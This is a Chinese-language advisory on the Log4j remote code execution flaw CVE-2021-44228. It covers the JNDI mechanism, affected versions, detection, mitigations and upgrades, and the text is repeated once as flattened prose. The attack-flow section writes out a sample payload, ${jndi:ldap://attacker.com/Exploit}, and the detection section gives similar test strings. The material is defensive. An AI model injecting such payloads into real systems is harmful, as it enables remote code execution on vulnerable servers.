Apache Log4j远程代码执行漏洞(含排查措施和修复建议)
字数 1502 2025-08-07 08:21:54

Apache Log4j远程代码执行漏洞分析与防护指南

1. 漏洞概述

Apache Log4j是一个广泛使用的Java日志框架,其2.x版本中存在远程代码执行漏洞(CVE-2021-44228),攻击者可通过构造特殊日志信息触发漏洞,实现任意代码执行。

漏洞基本信息

  • 漏洞编号:CVE-2021-44228
  • 漏洞名称:Log4j2 JNDI注入漏洞
  • 影响版本:Log4j 2.x <= 2.14.1
  • 漏洞类型:远程代码执行
  • CVSS评分:10.0(最高危)

2. 漏洞原理

2.1 JNDI注入机制

Log4j2提供了lookup功能,允许通过${}语法在日志消息中引用变量。当使用JndiLookup时,Log4j会通过JNDI(Java Naming and Directory Interface)查询外部资源。

2.2 攻击流程

  1. 攻击者构造包含恶意JNDI查找的字符串,如:${jndi:ldap://attacker.com/Exploit}
  2. 该字符串被记录到应用程序日志中
  3. Log4j解析日志时执行JNDI查找
  4. 服务器连接到攻击者控制的LDAP服务器
  5. LDAP服务器返回恶意Java类
  6. 受害服务器加载并执行恶意代码

3. 影响范围

受影响组件

  • 直接使用Log4j2作为日志组件的应用
  • 间接依赖Log4j2的框架(如Spring Boot、Apache Struts等)
  • 使用受影响Java库的云服务、企业应用

典型受影响场景

  • 任何记录用户可控输入的日志操作
  • HTTP请求头、参数、表单数据记录
  • 用户代理字符串记录
  • 其他用户可控数据的日志记录

4. 漏洞检测

4.1 版本检测

检查项目中是否存在Log4j-core的2.0-beta9到2.14.1版本:

mvn dependency:tree | grep log4j-core

或检查jar包版本:

unzip -p log4j-core-*.jar META-INF/MANIFEST.MF | grep Implementation-Version

4.2 在线检测工具

  • 奇安信网神漏洞扫描器
  • Nessus、Qualys等商业漏洞扫描工具
  • Log4j漏洞专用检测脚本

4.3 手动检测方法

尝试触发JNDI请求:

logger.error("${jndi:ldap://your-server.com/test}");

然后监控网络请求是否发出。

5. 修复方案

5.1 紧急缓解措施(临时方案)

方案1:设置系统属性

在应用启动参数中添加:

-Dlog4j2.formatMsgNoLookups=true

方案2:修改环境变量

设置:

LOG4J_FORMAT_MSG_NO_LOOKUPS=true

方案3:移除JndiLookup类

删除log4j-core-*.jar中的JndiLookup类:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

5.2 彻底修复方案

升级到安全版本

  • Log4j 2.15.0及以上版本(推荐2.17.0+)
  • 对于Java 8以下环境,使用2.12.2版本

Maven依赖更新:

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.17.0</version>
</dependency>

5.3 其他防护措施

  1. 网络层防护:

    • 防火墙限制外连请求
    • 拦截恶意JNDI请求
  2. 主机层防护:

    • 使用RASP防护
    • 更新JVM安全策略
  3. 代码层防护:

    • 避免记录用户可控输入
    • 对日志内容进行过滤

6. 修复验证

  1. 确认版本已升级:
java -jar log4j-core-*.jar --version
  1. 验证漏洞是否修复:
// 测试代码
logger.error("${jndi:ldap://127.0.0.1/test}");
// 不应有网络请求发出
  1. 使用漏洞扫描工具重新检测

7. 长期防护建议

  1. 依赖管理

    • 使用依赖检查工具(如OWASP Dependency-Check)
    • 定期更新所有第三方库
  2. 安全开发

    • 避免在日志中记录用户输入
    • 实施代码安全审计
  3. 监控响应

    • 建立漏洞监控机制
    • 制定应急响应计划
  4. 深度防御

    • 部署WAF规则拦截攻击
    • 启用JVM安全限制

8. 相关资源

  1. 官方安全公告:

  2. 漏洞详情:

  3. 检测工具:

通过以上措施,可有效防护Log4j远程代码执行漏洞,建议优先采用升级方案,并结合其他防护措施构建纵深防御体系。

Apache Log4j远程代码执行漏洞分析与防护指南 1. 漏洞概述 Apache Log4j是一个广泛使用的Java日志框架,其2.x版本中存在远程代码执行漏洞(CVE-2021-44228),攻击者可通过构造特殊日志信息触发漏洞,实现任意代码执行。 漏洞基本信息 漏洞编号 :CVE-2021-44228 漏洞名称 :Log4j2 JNDI注入漏洞 影响版本 :Log4j 2.x <= 2.14.1 漏洞类型 :远程代码执行 CVSS评分 :10.0(最高危) 2. 漏洞原理 2.1 JNDI注入机制 Log4j2提供了 lookup 功能,允许通过 ${} 语法在日志消息中引用变量。当使用 JndiLookup 时,Log4j会通过JNDI(Java Naming and Directory Interface)查询外部资源。 2.2 攻击流程 攻击者构造包含恶意JNDI查找的字符串,如: ${jndi:ldap://attacker.com/Exploit} 该字符串被记录到应用程序日志中 Log4j解析日志时执行JNDI查找 服务器连接到攻击者控制的LDAP服务器 LDAP服务器返回恶意Java类 受害服务器加载并执行恶意代码 3. 影响范围 受影响组件 直接使用Log4j2作为日志组件的应用 间接依赖Log4j2的框架(如Spring Boot、Apache Struts等) 使用受影响Java库的云服务、企业应用 典型受影响场景 任何记录用户可控输入的日志操作 HTTP请求头、参数、表单数据记录 用户代理字符串记录 其他用户可控数据的日志记录 4. 漏洞检测 4.1 版本检测 检查项目中是否存在Log4j-core的2.0-beta9到2.14.1版本: 或检查jar包版本: 4.2 在线检测工具 奇安信网神漏洞扫描器 Nessus、Qualys等商业漏洞扫描工具 Log4j漏洞专用检测脚本 4.3 手动检测方法 尝试触发JNDI请求: 然后监控网络请求是否发出。 5. 修复方案 5.1 紧急缓解措施(临时方案) 方案1:设置系统属性 在应用启动参数中添加: 方案2:修改环境变量 设置: 方案3:移除JndiLookup类 删除log4j-core-* .jar中的JndiLookup类: 5.2 彻底修复方案 升级到安全版本 Log4j 2.15.0及以上版本(推荐2.17.0+) 对于Java 8以下环境,使用2.12.2版本 Maven依赖更新: 5.3 其他防护措施 网络层防护: 防火墙限制外连请求 拦截恶意JNDI请求 主机层防护: 使用RASP防护 更新JVM安全策略 代码层防护: 避免记录用户可控输入 对日志内容进行过滤 6. 修复验证 确认版本已升级: 验证漏洞是否修复: 使用漏洞扫描工具重新检测 7. 长期防护建议 依赖管理 : 使用依赖检查工具(如OWASP Dependency-Check) 定期更新所有第三方库 安全开发 : 避免在日志中记录用户输入 实施代码安全审计 监控响应 : 建立漏洞监控机制 制定应急响应计划 深度防御 : 部署WAF规则拦截攻击 启用JVM安全限制 8. 相关资源 官方安全公告: Apache Log4j Security Vulnerabilities 漏洞详情: NVD - CVE-2021-44228 检测工具: Log4j Vulnerability Scanner 通过以上措施,可有效防护Log4j远程代码执行漏洞,建议优先采用升级方案,并结合其他防护措施构建纵深防御体系。